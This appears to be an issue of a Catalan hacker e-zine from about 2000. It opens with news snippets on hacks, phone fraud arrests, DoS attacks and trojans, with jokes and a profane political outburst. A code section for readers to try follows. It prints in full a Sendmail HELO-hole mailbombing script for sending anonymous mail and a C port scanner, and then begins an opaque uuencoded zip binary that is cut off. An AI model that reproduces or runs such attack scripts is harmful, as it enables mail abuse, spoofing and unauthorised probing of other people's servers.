La botiga es presenta en català i castellà. Condisline cobra 650
pessetes per l'enviament de la compra si el cistell no supera les
12.000 pessetes, quantitat a partir de la qual lenviament és
gratuït. xDDDDDDDDDD
Ja s'han practicat implants al cervell per poder interactuar amb
ordinadors, visualitzar punts (en concret 68 punts lluminosos) aplicant
impulsos elèctrics al cervell. O conseguir moure un ratolí per una pantalla
amb el pensament (al cap d'unes setmanes la ment s'acostuma i podem fer
aquests moviments sense pensar en fer-los (com tancar un puny pexemple).
Tb s'estan començant a utilitzar els wearables (màquines conectades al cos
(pero sense insertar implants). Transmetre info donant la mà (sense fils)
etc...
La Guàrdia Civil desarticula una xarxa de
defraudadors en línies telefòniques i deté a
55 persones
La Guàrdia Civil ha desarticulat una xarxa de
defraudadors en línies telefòniques a través d'Internet
i ha detingut a 55 persones, integrants d'un grup
autodenominat 'Com 30', dedicat a realitzar fraus
telefònics i copiar targetes de telefonia mòbil, ha
informat avui la Benemèrita.
Agències - L'operació, denominada 'Millenium' es va
desenvolupar en 16 províncies, es va iniciar el mes de gener
passat, quan la Guàrdia Civil va detenir a Madrid a un
individu que es dedicava a comprar a Internet amb la
targeta de crèdit d'una altra persona.
El Grup de Delictes d'Alta Tecnologia de la Guàrdia Civil ha
descobert que aquesta persona formava part d'un grup
dirigit per dos persones amb els àlies "X" i "Danko", els quals
a través d'Internet facilitaven a la resta de membres de la
banda números de targetes de crèdit d'altres persones.
A més, facilitaven instruccions per connectar-se a Internet
defraudant a diferents empreses del sector mitjançant la
manipulació de línies 900 contractades per dites empreses.
Una vegada connectats a la línia intervinguda, reconduïen
la trucada al proveïdor d'Internet al qual desitjaven
connectar-se, carregant el cost de la trucada a les
empreses esmentades.
Fins ara s'han detectat 200 connexions no autoritzades a
línies 900, des de les quals es van realitzar trucades al llarg
de tot el territori nacional per imports superiors a 50.000
pessetes.
CD Universe pateix un atac d'un hacker
Per més informació: www.cduniverse.com
Augmenten notablement els atacs de hackers.
Més informació en :
http://www.noticias.com/noticias/2000/0001/n00011121.htm
Una fallada informàtica exposa informació personal d'una companyia aérea:
El fallo d'un programador en el sistema "bookmarks" de la companyia
NorthWest AirLines va deixar els nombres de tarjetes de crèdit i altre
informació personal d'alguns clients sense protecció de provacitat,
segons han comentat representants de la companyia.
Más información en
http://www.noticias.com/noticias/2000/0001/n0001119.htm
Playboy.com preparada per sortir a borsa
Més info en:
http://www.noticias.com/noticias/2000/0001/n00011114.htm
JAJA!
TurboLinux es ven més que Windows en Xina
Uns hackers tanquen diverses Webs del govern japonès
La passada setmana, un grup de hackers han portat a terme
tres atacs amb èxit contra les pàgines oficials de dues
agències governamentals japoneses, alterant la pàgina Web
de les agències i possiblement borrant dades del govern.
Mireia Cortès ( Mireia@noticias.com ) - El primer atac, contra la
Web de la agència de Ciència i Tecnologia va transcorre el passat
dilluns, al donar-se compta del incident la oficina del govern va
tancar temporalment la pàgina Web per reparacions.
El dimarts la Web va tornar a estar online, però el dimecres va
tornar a sofrir un atac amb mètodes similars als del primer atac,
segons un representat de la agència.
Diversos representants de la agència han reconegut que, a més
de deixar un missatge en la pàgina Web de la MCA, els hackers
podrien haver robat dades del servidor de la MCA.
*Apareix un nou troià, de l'estil Backorfice i NetBus, anomenat
SubSeven 2.1 Gold
Hackejada la web del madrid ke es trobaba en obres. Canvien el logo del
real madrid, pel del Barça, escriuen a la web: estamos menos seguros en
la red ke en la defensa.
DoS a Yahoo! Ahir pel mati, Yahoo va caure durant un parell d'hores per
un massiu atac fet arreu del mon, enviant a yahoo missatges de k no
s'havien trobat les pagines ke kada un buskava. Aixo produia un giga de
dades per segon i es van akabar penjant els pc's de yahoo.
Mitnick surt al carrer pero sense llibertat.
Aznar estrena la seva web: www.aznar2000.pp.es que mono! té gateway xD puaj!
Fallo en un "concurs" de el Periodico permet enviar tantes sol·licituts com
vulguem i per tant més possibilitats per guanyar, per conseguir-ho és fa
simplment prement el butó <- del navegador...trist, molt trist. seguretat=0 :(
El pentagon es pensa que els atacs realizats a XTEC, Yahoo! ... son de tal
magnitut que podien haver estat llençats desde una de les seves màquines.
ja ja ja ja---sembla que encara no entenen el que es un DoS i lo facil que
pot ser fer-lo.
S'està preparant un hackmeeting a Barcelona.
Tindrà lloc el darrer cap de setmana del mes de maig a un centre social
okupat de Barna.
La iniciativa és de Fronteres Electròniques i Sindominio.
Aquest missatge és per invitar-vos a participar a la gent de CatHack.
Adjunto una proposta provisional de programa per la trobada.
Salut.
Hack-meeting Barna 2000
---------------------------------
- Data: 26-Maig-2000.
- Duració: 3 díes (de divendres a diumenge).
- Lloc: Centro Social Okupat
- Texto de presentació, escrit pels que ja estam en la
organització, que serveixi per presentar a gent d'altres colectius.
(Free, Sobre, ...). Per dintre de 10 díes / 2 setmanes.
- Temes proposats:
- iniciació amb navegació
- software lliure
- ciberdrets
- okupació cases - okupació màquines
- genealogía d'internet i relación amb els moviments socials
- internet en accions polítiques
- glosari d'internet: sigles, organitzacions, ...
- hacking / seguretat. Centrant-nos més en la filosofía del
hacking que en la pràctica dels 'hackers'.
- conclusions generals (últim día)
- Xerrades acompanyades de tallers pràcticos i projecció i amb
participació de gent de fora de l'estat per xerrades concretes (Ecn,
...)
- Equipamient proposat: ethernet, lloguer d'RDSI, cartell, microfonía
per xerrades, projector de vídeo, portàtil.
- Ingresos de la trobada: inscripcions voluntàries (1000 pts), cafeta
durant les activitats, festa i/o concert.
- Difusió: cartell, pàgines web dels colectiuos participants, ...
-------
- Ja ha sortit a la venta el WIndows2000, serà millor k ens esperem a la
release... per variar :) - algun dia sels acodirà treure un producte
segur a la primera o hauran de aprofitar sempre el xollo dels patxes?
- Descobert un fallo a (T) que permet accedir a tota la informació privada
desde wib (29-2-00), la pàgina es va tancar durant un temps fins que es
va arreglar el problema, es veu que es va conseguir al modificar un fitxer
que calien permisos de root per fer-ho...quines coses pasen! i com que no
tenen peles per assegurar-ho pobrets, aquestes Pimes xD.
- Samsung treu al mercat una PDA amb ARMLinux, navegador, reproductor MP3,
rula a 206Mhz i 32Mb ram - 225grams, i medeix 4'', amb conector USB, i una
ranura per una targeta de memoria CompactFlash. - i conexió amb un mobil.
- Ecspanya es el segon pais amb menys cultura informàtica (63% de la població
no té ni zorra d'informàtica)...xDDDDDD
- S'obra l'Antiportal, un portal de petites empreses per lluitar contra la
competència dels grans portals.
* Actualitzada la pàgina de www.underesec.com , passeu-vos-hi.. esta
força bé!
* El pròxim dissabte hi ha vaga per reclamar la Tarifa Plana
*curiositat: han creat el primer xip "biònic" part maquina, part
teixit viu
*Backdoor/Spying King_2.0, nou virus que corre per Internet ke permet
accedir a altres ordinadors conectats a Internet mitjançant un
programade control remot. Curiositats: el programa ha estat fet amb
Visual Basic i per això necessita que l'rdinador infectat tingui els
arxius MSVBVM50.DLL y MSWINSCK.OCX.
*Surt el ultim numero de kriptopolis! el podeu trobar a
www.kriptopolis.com
* Passeu per http://pagina.de/2500hz ta força bé!
-S'obra el portal inicia (www.inicia.es)
*Retevision per el concurs per poder operar a la REE. (Red elèctrica)
*Roland Moreno va oferir ahir 25 milions de pessetes a qui identifiqui
el codi secret de tres targetes de crèdit. L'inventor va llançar akest
repte després ke pirates informatics difonguessin per internet un codi
de 96 xifres que, en teoria , invalida el sistema de seguretat.
* Satorga la quarta llicència de telefonia mòbil a XFera i Movi2 mostra
les seves queixes davant el concurs
* Es realitzarà la pel.lícula de les 3 bessones.. jeje! kl4rk...
:-)
* N ou milions i mig despanyols van preferir no votar. En les vuitenes
eleccions de la democràcia espanyola el nombre
abstenció va pujar fins el 30%, del electorat
xifra que representa 9 milions i mig de persones.
* Els cabrons del pp majoria absoluta..... no tinc res mes a dir ke...
MEEEE CAAAGUUUUN LA PUTA!!!
Mmmhh mandonguilla...
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$0C$
[Còdigs fonts interessants]
Estrenem aquesta nova secció perquè pugueu aconseguir el cf de programes
interessants, estudiar-los, compilar-los, probar-los i si trobeu algo millor
canviar-los.- simple no?
pero per cert, no ens fem responsables del dany que es pugui causar executant
els programes a sota escrits, és responsabilitat vostre.
INDEX:
1.-- Sendmail 8.8.8 exploit - per enviar mails anònims.
2.-- pscan.c - Un port scanner molt simple.
3.-- hack.uue - debugger per ms2 (es pot descomprimir amb el winzip.
4.-- asterisk.uue - treu els asterisks de les finestres de win.
5.-- exe2com.c - molt util. compileu un prog d'asm i executeu-lo en l'exe.
6.-- Atac DoS a les versions 2.2.1x i 2.3.99-pre2 del kernel de Linux
comencem!
-----Sendmail 8.8.8 exploit------------
## Es per enviar un mail REALMENT anònim ##
#!/bin/bash
TMPDIR=3D/tmp/`whoami`
PLIK=3D$TMPDIR/.safe
TIMEOUT=3D2
LIMIT=3D10
MAX=3D20
echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo
if [ "$4" =3D "" ]; then
echo "USAGE: $0 msgfile address server sender"
echo
echo " msgfile - file to send as a message body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this program in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi
if [ ! -f $1 ]; then
echo "Message file not found."
echo
exit 0
fi
echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo =
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa=
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb=
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb=
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__s=
afebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe=
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom=
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__=
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf=
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo=
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_=
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa=
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb=
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb=
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__s=
afebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe=
bomb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"
echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=3D0
while [ -f $1 ]; do
$PLIK|telnet $3 25 &>/dev/null &
let SENT=3DSENT+1
echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
CONNECTED=3D`ps|grep -c "telnet $3"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
fi
if [ "$SENT" -ge "$MAX" ]; then
echo "It's just an example, sorry."
echo
exit 0
fi
done
----------8<--------cuthere-----------------------
----pscan.c ------------------------------------------
/*
* internet port scanner
*
* This program will scan a hosts TCP ports printing all ports that accept
* connections, and if known, the service name.
* This program can be trivially altered to do UDP ports also.
*
* Kopywrong (K) Aug. 25, '94 pluvius@io.org
*
* Hey kiddies, this is a C program, to run it do this:
* $ cc -o pscan pscan.c
* $ pscan <host> [max port]
*
* No, this will not get you root.
*
* Changes:
* Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
* Netrunner 1/18/95 11:30pm
*
* Changes:
* converts port# to network byte order.
* Therapy 10/29/96 9:00pm
*
*/
static char sccsid[] = "@(#)pscan.c 1.0 (KRAD) 08/25/94";
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define MAX_PORT 1024 /* scan up to this port */
int s;
struct sockaddr_in addr;
char rmt_host[100];
int skan(port)
int port;
{
int r;
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
/* fprintf("ERROR: socket() failed\n"); */
/* Changed to printf for my Linux 1.1.18 box */
printf("ERROR: socket() failed\n");
exit(0);
}
addr.sin_family = PF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(rmt_host);
r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
close(s);
if (r==-1) {
return (1 == 0);
}
return (1 == 1);
}
main(argc,argv)
int argc;
char *argv[];
{
int a,b,c,d,e,f;
struct hostent *foo;
struct servent *bar;
if (argc < 2) {
fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
exit(0);
}
if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
foo = gethostbyname(argv[1]);
if (foo == NULL) {
fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
exit(0);
}
sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
(unsigned char ) foo->h_addr_list[0][1],
(unsigned char ) foo->h_addr_list[0][2],
(unsigned char ) foo->h_addr_list[0][3]);
} else {
strncpy(rmt_host,argv[1],99);
}
if (argc > 2) {
f = atoi(argv[2]);
} else
f = MAX_PORT;
fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
for (e =1;e<=f;e++) {
char serv[100];
if (skan(e)) {
bar = getservbyport(htons(e),"tcp");
printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
bar->s_name);
}
}
}
------------8<----------cuthere---------------
-----------hack.uue------------
_=_
_=_ Part 001 of 001 of file HACK.zip
_=_
begin 666 HACK.zip
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
